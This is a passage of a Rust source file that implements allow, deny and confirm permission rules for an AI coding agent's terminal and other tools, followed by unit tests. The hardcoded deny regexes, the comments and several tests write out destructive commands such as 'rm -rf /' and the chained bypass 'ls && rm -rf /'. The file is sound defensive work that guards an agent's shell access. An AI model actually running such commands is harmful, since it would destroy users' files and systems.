Skip to repository content2419 lines · 82.9 KB · rust
tenant.openagents/omega
No repository description is available.
OpenAgents Git authority 2026-07-28T01:34:15.952Z Public web read
NIP-34 coordinate
30617:7649603503856e5148d571eac2766b288a8ff1e9e35d380337a1d2b0015b4f92:omegaMaintainersHidden in public view
References2 branches · 1 tag
Read-only clone
git clone https://openagents.com/git/tenant.openagents/omega.gitBrowse files
tool_permissions.rs
1use crate::AgentTool;
2use crate::tools::TerminalTool;
3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
4use settings::ToolPermissionMode;
5use shell_command_parser::{
6 TerminalCommandValidation, extract_commands, validate_terminal_command,
7};
8use std::path::{Component, Path};
9use std::sync::LazyLock;
10use util::shell::ShellKind;
11
12const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
13 harmful to be allowed, and cannot be overridden by settings.";
14const INVALID_TERMINAL_COMMAND_MESSAGE: &str = "The terminal command could not be approved because terminal does not \
15 allow shell substitutions or interpolations in permission-protected commands. Forbidden examples include $VAR, \
16 ${VAR}, $(...), backticks, $((...)), <(...), and >(...). Resolve those values before calling terminal, or ask \
17 the user for the literal value to use.";
18
19/// Security rules that are always enforced and cannot be overridden by any setting.
20/// These protect against catastrophic operations like wiping filesystems.
21pub struct HardcodedSecurityRules {
22 pub terminal_deny: Vec<CompiledRegex>,
23}
24
25pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
26 // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
27 // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
28 const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
29 // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
30 const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
31
32 HardcodedSecurityRules {
33 terminal_deny: vec![
34 // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
35 CompiledRegex::new(
36 &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
37 false,
38 )
39 .expect("hardcoded regex should compile"),
40 // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
41 CompiledRegex::new(
42 &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
43 false,
44 )
45 .expect("hardcoded regex should compile"),
46 // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
47 CompiledRegex::new(
48 &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
49 false,
50 )
51 .expect("hardcoded regex should compile"),
52 // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
53 CompiledRegex::new(
54 &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
55 false,
56 )
57 .expect("hardcoded regex should compile"),
58 // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
59 CompiledRegex::new(
60 &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
61 false,
62 )
63 .expect("hardcoded regex should compile"),
64 ],
65 }
66});
67
68/// Checks if input matches any hardcoded security rules that cannot be bypassed.
69/// Returns a Deny decision if blocked, None otherwise.
70fn check_hardcoded_security_rules(
71 tool_name: &str,
72 inputs: &[String],
73 shell_kind: ShellKind,
74) -> Option<ToolPermissionDecision> {
75 // Currently only terminal tool has hardcoded rules
76 if tool_name != TerminalTool::NAME {
77 return None;
78 }
79
80 let rules = &*HARDCODED_SECURITY_RULES;
81 let terminal_patterns = &rules.terminal_deny;
82
83 for input in inputs {
84 // First: check the original input as-is (and its path-normalized form)
85 if matches_hardcoded_patterns(input, terminal_patterns) {
86 return Some(ToolPermissionDecision::Deny(
87 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
88 ));
89 }
90
91 // Second: parse and check individual sub-commands (for chained commands)
92 if shell_kind.supports_posix_chaining() {
93 if let Some(commands) = extract_commands(input) {
94 for command in &commands {
95 if matches_hardcoded_patterns(command, terminal_patterns) {
96 return Some(ToolPermissionDecision::Deny(
97 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
98 ));
99 }
100 }
101 }
102 }
103 }
104
105 None
106}
107
108/// Checks a single command against hardcoded patterns, both as-is and with
109/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
110/// and multi-path bypasses like `rm -rf /tmp /`).
111fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
112 for pattern in patterns {
113 if pattern.is_match(command) {
114 return true;
115 }
116 }
117
118 for expanded in expand_rm_to_single_path_commands(command) {
119 for pattern in patterns {
120 if pattern.is_match(&expanded) {
121 return true;
122 }
123 }
124 }
125
126 false
127}
128
129/// For rm commands, expands multi-path arguments into individual single-path
130/// commands with normalized paths. This catches both traversal bypasses like
131/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
132fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
133 let trimmed = command.trim();
134
135 let first_token = trimmed.split_whitespace().next();
136 if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
137 return vec![];
138 }
139
140 let parts: Vec<&str> = trimmed.split_whitespace().collect();
141 let mut flags = Vec::new();
142 let mut paths = Vec::new();
143 let mut past_double_dash = false;
144
145 for part in parts.iter().skip(1) {
146 if !past_double_dash && *part == "--" {
147 past_double_dash = true;
148 flags.push(*part);
149 continue;
150 }
151 if !past_double_dash && part.starts_with('-') {
152 flags.push(*part);
153 } else {
154 paths.push(*part);
155 }
156 }
157
158 let flags_str = if flags.is_empty() {
159 String::new()
160 } else {
161 format!("{} ", flags.join(" "))
162 };
163
164 let mut results = Vec::new();
165 for path in &paths {
166 if path.starts_with('$') {
167 let home_prefix = if path.starts_with("${HOME}") {
168 Some("${HOME}")
169 } else if path.starts_with("$HOME") {
170 Some("$HOME")
171 } else {
172 None
173 };
174
175 if let Some(prefix) = home_prefix {
176 let suffix = &path[prefix.len()..];
177 if suffix.is_empty() {
178 results.push(format!("rm {flags_str}{path}"));
179 } else if suffix.starts_with('/') {
180 let normalized_suffix = normalize_path(suffix);
181 let reconstructed = if normalized_suffix == "/" {
182 prefix.to_string()
183 } else {
184 format!("{prefix}{normalized_suffix}")
185 };
186 results.push(format!("rm {flags_str}{reconstructed}"));
187 } else {
188 results.push(format!("rm {flags_str}{path}"));
189 }
190 } else {
191 results.push(format!("rm {flags_str}{path}"));
192 }
193 continue;
194 }
195
196 let mut normalized = normalize_path(path);
197 if normalized.is_empty() && !Path::new(path).has_root() {
198 normalized = ".".to_string();
199 }
200
201 results.push(format!("rm {flags_str}{normalized}"));
202 }
203
204 results
205}
206
207#[derive(Debug, Clone, PartialEq, Eq)]
208pub enum ToolPermissionDecision {
209 Allow,
210 Deny(String),
211 Confirm,
212}
213
214impl ToolPermissionDecision {
215 /// Determines the permission decision for a tool invocation based on configured rules.
216 ///
217 /// # Precedence Order (highest to lowest)
218 ///
219 /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
220 /// that cannot be bypassed by any user settings.
221 /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
222 /// This takes precedence over `always_confirm` and `always_allow` patterns.
223 /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
224 /// the user is prompted for confirmation.
225 /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
226 /// the tool call proceeds without prompting.
227 /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
228 /// `default` configured, that mode is used.
229 /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
230 /// tool-specific default is set, or when the tool has no entry at all.
231 ///
232 /// # Shell Compatibility (Terminal Tool Only)
233 ///
234 /// For the terminal tool, commands are parsed to extract sub-commands for security.
235 /// All currently supported `ShellKind` variants are treated as compatible because
236 /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
237 /// variant is added that brush-parser cannot safely parse, it should be excluded
238 /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
239 /// patterns to be disabled for that shell.
240 ///
241 /// # Pattern Matching Tips
242 ///
243 /// Patterns are matched as regular expressions against the tool input (e.g., the command
244 /// string for the terminal tool). Some tips for writing effective patterns:
245 ///
246 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
247 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
248 /// This is important for security rules where you want to block specific commands
249 /// without accidentally blocking unrelated commands that happen to contain the same
250 /// substring.
251 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
252 /// - Use `^` and `$` anchors to match the start/end of the input.
253 pub fn from_input(
254 tool_name: &str,
255 inputs: &[String],
256 permissions: &ToolPermissions,
257 shell_kind: ShellKind,
258 ) -> ToolPermissionDecision {
259 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
260 // These cannot be bypassed by any user settings.
261 if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
262 return denial;
263 }
264
265 let rules = permissions.tools.get(tool_name);
266
267 // Check for invalid regex patterns before evaluating rules.
268 // If any patterns failed to compile, block the tool call entirely.
269 if let Some(error) = rules.and_then(|rules| check_invalid_patterns(tool_name, rules)) {
270 return ToolPermissionDecision::Deny(error);
271 }
272
273 if tool_name == TerminalTool::NAME
274 && !rules.map_or(
275 matches!(permissions.default, ToolPermissionMode::Allow),
276 |rules| is_unconditional_allow_all(rules, permissions.default),
277 )
278 && inputs.iter().any(|input| {
279 matches!(
280 validate_terminal_command(input),
281 TerminalCommandValidation::Unsafe | TerminalCommandValidation::Unsupported
282 )
283 })
284 {
285 return ToolPermissionDecision::Deny(INVALID_TERMINAL_COMMAND_MESSAGE.into());
286 }
287
288 let rules = match rules {
289 Some(rules) => rules,
290 None => {
291 // No tool-specific rules, use the global default
292 return match permissions.default {
293 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
294 ToolPermissionMode::Deny => {
295 ToolPermissionDecision::Deny("Blocked by global default: deny".into())
296 }
297 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
298 };
299 }
300 };
301
302 // For the terminal tool, parse each input command to extract all sub-commands.
303 // This prevents shell injection attacks where a user configures an allow
304 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
305 //
306 // If parsing fails or the shell syntax is unsupported, always_allow is
307 // disabled for this command (we set allow_enabled to false to signal this).
308 if tool_name == TerminalTool::NAME {
309 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
310 // See the doc comment above for the list of compatible/incompatible shells.
311 if !shell_kind.supports_posix_chaining() {
312 // For shells with incompatible syntax, we can't reliably parse
313 // the command to extract sub-commands.
314 if !rules.always_allow.is_empty() {
315 // If the user has configured always_allow patterns, we must deny
316 // because we can't safely verify the command doesn't contain
317 // hidden sub-commands that bypass the allow patterns.
318 return ToolPermissionDecision::Deny(format!(
319 "The {} shell does not support \"always allow\" patterns for the terminal \
320 tool because Omega cannot parse its command chaining syntax. Please remove \
321 the always_allow patterns from your tool_permissions settings, or switch \
322 to a POSIX-conforming shell.",
323 shell_kind
324 ));
325 }
326 // No always_allow rules, so we can still check deny/confirm patterns.
327 return check_commands(
328 inputs.iter().map(|s| s.to_string()),
329 rules,
330 tool_name,
331 false,
332 permissions.default,
333 );
334 }
335
336 // Expand each input into its sub-commands and check them all together.
337 let mut all_commands = Vec::new();
338 let mut any_parse_failed = false;
339 for input in inputs {
340 match extract_commands(input) {
341 Some(commands) => all_commands.extend(commands),
342 None => {
343 any_parse_failed = true;
344 all_commands.push(input.to_string());
345 }
346 }
347 }
348 // If any command failed to parse, disable allow patterns for safety.
349 check_commands(
350 all_commands,
351 rules,
352 tool_name,
353 !any_parse_failed,
354 permissions.default,
355 )
356 } else {
357 check_commands(
358 inputs.iter().map(|s| s.to_string()),
359 rules,
360 tool_name,
361 true,
362 permissions.default,
363 )
364 }
365 }
366}
367
368/// Evaluates permission rules against a set of commands.
369///
370/// This function performs a single pass through all commands with the following logic:
371/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
372/// - **CONFIRM**: Track if ANY command matches a confirm pattern
373/// - **ALLOW**: Track if ALL commands match at least one allow pattern
374///
375/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
376/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
377/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
378fn check_commands(
379 commands: impl IntoIterator<Item = String>,
380 rules: &ToolRules,
381 tool_name: &str,
382 allow_enabled: bool,
383 global_default: ToolPermissionMode,
384) -> ToolPermissionDecision {
385 // Single pass through all commands:
386 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
387 // - CONFIRM: Track if ANY command matches a confirm pattern
388 // - ALLOW: Track if ALL commands match at least one allow pattern
389 let mut any_matched_confirm = false;
390 let mut all_matched_allow = true;
391 let mut had_any_commands = false;
392
393 for command in commands {
394 had_any_commands = true;
395
396 // DENY: immediate return if any command matches a deny pattern
397 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
398 return ToolPermissionDecision::Deny(format!(
399 "Command blocked by security rule for {} tool",
400 tool_name
401 ));
402 }
403
404 // CONFIRM: remember if any command matches a confirm pattern
405 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
406 any_matched_confirm = true;
407 }
408
409 // ALLOW: track if all commands match at least one allow pattern
410 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
411 all_matched_allow = false;
412 }
413 }
414
415 // After processing all commands, check accumulated state
416 if any_matched_confirm {
417 return ToolPermissionDecision::Confirm;
418 }
419
420 if allow_enabled && all_matched_allow && had_any_commands {
421 return ToolPermissionDecision::Allow;
422 }
423
424 match rules.default.unwrap_or(global_default) {
425 ToolPermissionMode::Deny => {
426 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
427 }
428 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
429 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
430 }
431}
432
433fn is_unconditional_allow_all(rules: &ToolRules, global_default: ToolPermissionMode) -> bool {
434 // `always_allow` is intentionally not checked here: when the effective default
435 // is already Allow and there are no deny/confirm restrictions, allow patterns
436 // are redundant — the user has opted into allowing everything.
437 rules.always_deny.is_empty()
438 && rules.always_confirm.is_empty()
439 && matches!(
440 rules.default.unwrap_or(global_default),
441 ToolPermissionMode::Allow
442 )
443}
444
445/// Checks if the tool rules contain any invalid regex patterns.
446/// Returns an error message if invalid patterns are found.
447fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
448 if rules.invalid_patterns.is_empty() {
449 return None;
450 }
451
452 let count = rules.invalid_patterns.len();
453 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
454
455 Some(format!(
456 "The {} tool cannot run because {} regex {} failed to compile. \
457 Please fix the invalid patterns in your tool_permissions settings.",
458 tool_name, count, pattern_word
459 ))
460}
461
462/// Convenience wrapper that extracts permission settings from `AgentSettings`.
463///
464/// This is the primary entry point for tools to check permissions. It extracts
465/// `tool_permissions` from the settings and
466/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
467pub fn decide_permission_from_settings(
468 tool_name: &str,
469 inputs: &[String],
470 settings: &AgentSettings,
471) -> ToolPermissionDecision {
472 ToolPermissionDecision::from_input(
473 tool_name,
474 inputs,
475 &settings.tool_permissions,
476 ShellKind::system(),
477 )
478}
479
480/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
481pub fn normalize_path(raw: &str) -> String {
482 let is_absolute = Path::new(raw).has_root();
483 let mut components: Vec<&str> = Vec::new();
484 for component in Path::new(raw).components() {
485 match component {
486 Component::CurDir => {}
487 Component::ParentDir => {
488 if components.last() == Some(&"..") {
489 components.push("..");
490 } else if !components.is_empty() {
491 components.pop();
492 } else if !is_absolute {
493 components.push("..");
494 }
495 }
496 Component::Normal(segment) => {
497 if let Some(s) = segment.to_str() {
498 components.push(s);
499 }
500 }
501 Component::RootDir | Component::Prefix(_) => {}
502 }
503 }
504 let joined = components.join("/");
505 if is_absolute {
506 format!("/{joined}")
507 } else {
508 joined
509 }
510}
511
512/// Decides permission by checking both the raw input path and a simplified/canonicalized
513/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
514pub fn decide_permission_for_paths(
515 tool_name: &str,
516 raw_paths: &[String],
517 settings: &AgentSettings,
518) -> ToolPermissionDecision {
519 let raw_inputs: Vec<String> = raw_paths.to_vec();
520 let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
521
522 let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
523 let any_changed = raw_paths
524 .iter()
525 .zip(&normalized)
526 .any(|(raw, norm)| raw != norm);
527 if !any_changed {
528 return raw_decision;
529 }
530
531 let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
532
533 most_restrictive(raw_decision, normalized_decision)
534}
535
536pub fn decide_permission_for_path(
537 tool_name: &str,
538 raw_path: &str,
539 settings: &AgentSettings,
540) -> ToolPermissionDecision {
541 decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
542}
543
544pub fn most_restrictive(
545 a: ToolPermissionDecision,
546 b: ToolPermissionDecision,
547) -> ToolPermissionDecision {
548 match (&a, &b) {
549 (ToolPermissionDecision::Deny(_), _) => a,
550 (_, ToolPermissionDecision::Deny(_)) => b,
551 (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
552 ToolPermissionDecision::Confirm
553 }
554 _ => a,
555 }
556}
557
558#[cfg(test)]
559mod tests {
560 use super::*;
561 use crate::pattern_extraction::extract_terminal_pattern;
562 use crate::tools::{DeletePathTool, FetchTool, TerminalTool};
563 use crate::{AgentTool, EditFileTool};
564 use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
565 use gpui::px;
566 use settings::{DockPosition, NotifyWhenAgentWaiting, PlaySoundWhenAgentDone};
567 use std::sync::Arc;
568
569 fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
570 AgentSettings {
571 enabled: true,
572 button: true,
573 dock: DockPosition::Right,
574 flexible: true,
575 default_width: px(300.),
576 default_height: px(600.),
577 max_content_width: Some(px(850.)),
578 default_model: None,
579 subagent_model: None,
580 inline_assistant_model: None,
581 inline_assistant_use_streaming_tools: false,
582 commit_message_model: None,
583 commit_message_include_project_rules: true,
584 commit_message_instructions: None,
585 thread_summary_model: None,
586 compaction_model: None,
587 inline_alternatives: vec![],
588 favorite_models: vec![],
589 default_profile: AgentProfileId::default(),
590 profiles: Default::default(),
591 notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
592 play_sound_when_agent_done: PlaySoundWhenAgentDone::default(),
593 single_file_review: false,
594 model_parameters: vec![],
595 auto_compact: agent_settings::AutoCompactSettings {
596 enabled: false,
597 threshold: agent_settings::AutoCompactThreshold::DEFAULT,
598 },
599 enable_feedback: false,
600 expand_edit_card: true,
601 expand_terminal_card: true,
602 terminal_init_command: None,
603 cancel_generation_on_terminal_stop: true,
604 use_modifier_to_send: true,
605 message_editor_min_lines: 1,
606 tool_permissions,
607 sandbox_permissions: Default::default(),
608 show_turn_stats: false,
609 show_merge_conflict_indicator: true,
610 sidebar_side: Default::default(),
611 thinking_display: Default::default(),
612 }
613 }
614
615 fn pattern(command: &str) -> &'static str {
616 Box::leak(
617 extract_terminal_pattern(command)
618 .expect("failed to extract pattern")
619 .into_boxed_str(),
620 )
621 }
622
623 struct PermTest {
624 tool: &'static str,
625 input: &'static str,
626 mode: Option<ToolPermissionMode>,
627 allow: Vec<(&'static str, bool)>,
628 deny: Vec<(&'static str, bool)>,
629 confirm: Vec<(&'static str, bool)>,
630 global_default: ToolPermissionMode,
631 shell: ShellKind,
632 }
633
634 impl PermTest {
635 fn new(input: &'static str) -> Self {
636 Self {
637 tool: TerminalTool::NAME,
638 input,
639 mode: None,
640 allow: vec![],
641 deny: vec![],
642 confirm: vec![],
643 global_default: ToolPermissionMode::Confirm,
644 shell: ShellKind::Posix,
645 }
646 }
647
648 fn tool(mut self, t: &'static str) -> Self {
649 self.tool = t;
650 self
651 }
652 fn mode(mut self, m: ToolPermissionMode) -> Self {
653 self.mode = Some(m);
654 self
655 }
656 fn allow(mut self, p: &[&'static str]) -> Self {
657 self.allow = p.iter().map(|s| (*s, false)).collect();
658 self
659 }
660 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
661 self.allow = p.iter().map(|s| (*s, true)).collect();
662 self
663 }
664 fn deny(mut self, p: &[&'static str]) -> Self {
665 self.deny = p.iter().map(|s| (*s, false)).collect();
666 self
667 }
668 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
669 self.deny = p.iter().map(|s| (*s, true)).collect();
670 self
671 }
672 fn confirm(mut self, p: &[&'static str]) -> Self {
673 self.confirm = p.iter().map(|s| (*s, false)).collect();
674 self
675 }
676 fn global_default(mut self, m: ToolPermissionMode) -> Self {
677 self.global_default = m;
678 self
679 }
680 fn shell(mut self, s: ShellKind) -> Self {
681 self.shell = s;
682 self
683 }
684
685 fn is_allow(self) {
686 assert_eq!(
687 self.run(),
688 ToolPermissionDecision::Allow,
689 "expected Allow for '{}'",
690 self.input
691 );
692 }
693 fn is_deny(self) {
694 assert!(
695 matches!(self.run(), ToolPermissionDecision::Deny(_)),
696 "expected Deny for '{}'",
697 self.input
698 );
699 }
700 fn is_confirm(self) {
701 assert_eq!(
702 self.run(),
703 ToolPermissionDecision::Confirm,
704 "expected Confirm for '{}'",
705 self.input
706 );
707 }
708
709 fn run(&self) -> ToolPermissionDecision {
710 let mut tools = collections::HashMap::default();
711 tools.insert(
712 Arc::from(self.tool),
713 ToolRules {
714 default: self.mode,
715 always_allow: self
716 .allow
717 .iter()
718 .map(|(p, cs)| {
719 CompiledRegex::new(p, *cs)
720 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
721 })
722 .collect(),
723 always_deny: self
724 .deny
725 .iter()
726 .map(|(p, cs)| {
727 CompiledRegex::new(p, *cs)
728 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
729 })
730 .collect(),
731 always_confirm: self
732 .confirm
733 .iter()
734 .map(|(p, cs)| {
735 CompiledRegex::new(p, *cs)
736 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
737 })
738 .collect(),
739 invalid_patterns: vec![],
740 },
741 );
742 ToolPermissionDecision::from_input(
743 self.tool,
744 &[self.input.to_string()],
745 &ToolPermissions {
746 default: self.global_default,
747 tools,
748 },
749 self.shell,
750 )
751 }
752 }
753
754 fn t(input: &'static str) -> PermTest {
755 PermTest::new(input)
756 }
757
758 fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
759 ToolPermissionDecision::from_input(
760 TerminalTool::NAME,
761 &[input.to_string()],
762 &ToolPermissions {
763 default: global_default,
764 tools: collections::HashMap::default(),
765 },
766 ShellKind::Posix,
767 )
768 }
769
770 // allow pattern matches
771 #[test]
772 fn allow_exact_match() {
773 t("cargo test").allow(&[pattern("cargo")]).is_allow();
774 }
775 #[test]
776 fn allow_one_of_many_patterns() {
777 t("npm install")
778 .allow(&[pattern("cargo"), pattern("npm")])
779 .is_allow();
780 t("git status")
781 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
782 .is_allow();
783 }
784 #[test]
785 fn allow_middle_pattern() {
786 t("run cargo now").allow(&["cargo"]).is_allow();
787 }
788 #[test]
789 fn allow_anchor_prevents_middle() {
790 t("run cargo now").allow(&["^cargo"]).is_confirm();
791 }
792
793 // allow pattern doesn't match -> falls through
794 #[test]
795 fn allow_no_match_confirms() {
796 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
797 }
798 #[test]
799 fn allow_no_match_global_allows() {
800 t("python x.py")
801 .allow(&[pattern("cargo")])
802 .global_default(ToolPermissionMode::Allow)
803 .is_allow();
804 }
805 #[test]
806 fn allow_no_match_tool_confirm_overrides_global_allow() {
807 t("python x.py")
808 .allow(&[pattern("cargo")])
809 .mode(ToolPermissionMode::Confirm)
810 .global_default(ToolPermissionMode::Allow)
811 .is_confirm();
812 }
813 #[test]
814 fn allow_no_match_tool_allow_overrides_global_confirm() {
815 t("python x.py")
816 .allow(&[pattern("cargo")])
817 .mode(ToolPermissionMode::Allow)
818 .global_default(ToolPermissionMode::Confirm)
819 .is_allow();
820 }
821
822 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
823 #[test]
824 fn deny_blocks() {
825 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
826 }
827 // global default: allow does NOT bypass user-configured deny rules
828 #[test]
829 fn deny_not_bypassed_by_global_default_allow() {
830 t("rm -rf ./temp")
831 .deny(&["rm\\s+-rf"])
832 .global_default(ToolPermissionMode::Allow)
833 .is_deny();
834 }
835 #[test]
836 fn deny_blocks_with_mode_allow() {
837 t("rm -rf ./temp")
838 .deny(&["rm\\s+-rf"])
839 .mode(ToolPermissionMode::Allow)
840 .is_deny();
841 }
842 #[test]
843 fn deny_middle_match() {
844 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
845 }
846 #[test]
847 fn deny_no_match_falls_through() {
848 t("ls -la")
849 .deny(&["rm\\s+-rf"])
850 .mode(ToolPermissionMode::Allow)
851 .is_allow();
852 }
853
854 // confirm pattern matches
855 #[test]
856 fn confirm_requires_confirm() {
857 t("sudo apt install")
858 .confirm(&[pattern("sudo")])
859 .is_confirm();
860 }
861 // global default: allow does NOT bypass user-configured confirm rules
862 #[test]
863 fn global_default_allow_does_not_override_confirm_pattern() {
864 t("sudo reboot")
865 .confirm(&[pattern("sudo")])
866 .global_default(ToolPermissionMode::Allow)
867 .is_confirm();
868 }
869 #[test]
870 fn confirm_overrides_mode_allow() {
871 t("sudo x")
872 .confirm(&["sudo"])
873 .mode(ToolPermissionMode::Allow)
874 .is_confirm();
875 }
876
877 // confirm beats allow
878 #[test]
879 fn confirm_beats_allow() {
880 t("git push --force")
881 .allow(&[pattern("git")])
882 .confirm(&["--force"])
883 .is_confirm();
884 }
885 #[test]
886 fn confirm_beats_allow_overlap() {
887 t("deploy prod")
888 .allow(&["deploy"])
889 .confirm(&["prod"])
890 .is_confirm();
891 }
892 #[test]
893 fn allow_when_confirm_no_match() {
894 t("git status")
895 .allow(&[pattern("git")])
896 .confirm(&["--force"])
897 .is_allow();
898 }
899
900 // deny beats allow
901 #[test]
902 fn deny_beats_allow() {
903 t("rm -rf ./tmp/x")
904 .allow(&["/tmp/"])
905 .deny(&["rm\\s+-rf"])
906 .is_deny();
907 }
908
909 #[test]
910 fn deny_beats_confirm() {
911 t("sudo rm -rf ./temp")
912 .confirm(&["sudo"])
913 .deny(&["rm\\s+-rf"])
914 .is_deny();
915 }
916
917 // deny beats everything
918 #[test]
919 fn deny_beats_all() {
920 t("bad cmd")
921 .allow(&["cmd"])
922 .confirm(&["cmd"])
923 .deny(&["bad"])
924 .is_deny();
925 }
926
927 // no patterns -> default
928 #[test]
929 fn default_confirm() {
930 t("python x.py")
931 .mode(ToolPermissionMode::Confirm)
932 .is_confirm();
933 }
934 #[test]
935 fn default_allow() {
936 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
937 }
938 #[test]
939 fn default_deny() {
940 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
941 }
942 // Tool-specific default takes precedence over global default
943 #[test]
944 fn tool_default_deny_overrides_global_allow() {
945 t("python x.py")
946 .mode(ToolPermissionMode::Deny)
947 .global_default(ToolPermissionMode::Allow)
948 .is_deny();
949 }
950
951 // Tool-specific default takes precedence over global default
952 #[test]
953 fn tool_default_confirm_overrides_global_allow() {
954 t("x")
955 .mode(ToolPermissionMode::Confirm)
956 .global_default(ToolPermissionMode::Allow)
957 .is_confirm();
958 }
959
960 #[test]
961 fn no_rules_uses_global_default() {
962 assert_eq!(
963 no_rules("x", ToolPermissionMode::Confirm),
964 ToolPermissionDecision::Confirm
965 );
966 assert_eq!(
967 no_rules("x", ToolPermissionMode::Allow),
968 ToolPermissionDecision::Allow
969 );
970 assert!(matches!(
971 no_rules("x", ToolPermissionMode::Deny),
972 ToolPermissionDecision::Deny(_)
973 ));
974 }
975
976 #[test]
977 fn empty_input_no_match() {
978 t("")
979 .deny(&["rm"])
980 .mode(ToolPermissionMode::Allow)
981 .is_allow();
982 }
983
984 #[test]
985 fn empty_input_with_allow_falls_to_default() {
986 t("").allow(&["^ls"]).is_confirm();
987 }
988
989 #[test]
990 fn multi_deny_any_match() {
991 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
992 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
993 }
994
995 #[test]
996 fn multi_allow_any_match() {
997 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
998 }
999 #[test]
1000 fn multi_none_match() {
1001 t("python x")
1002 .allow(&["^cargo", "^npm"])
1003 .deny(&["rm"])
1004 .is_confirm();
1005 }
1006
1007 // tool isolation
1008 #[test]
1009 fn other_tool_not_affected() {
1010 let mut tools = collections::HashMap::default();
1011 tools.insert(
1012 Arc::from(TerminalTool::NAME),
1013 ToolRules {
1014 default: Some(ToolPermissionMode::Deny),
1015 always_allow: vec![],
1016 always_deny: vec![],
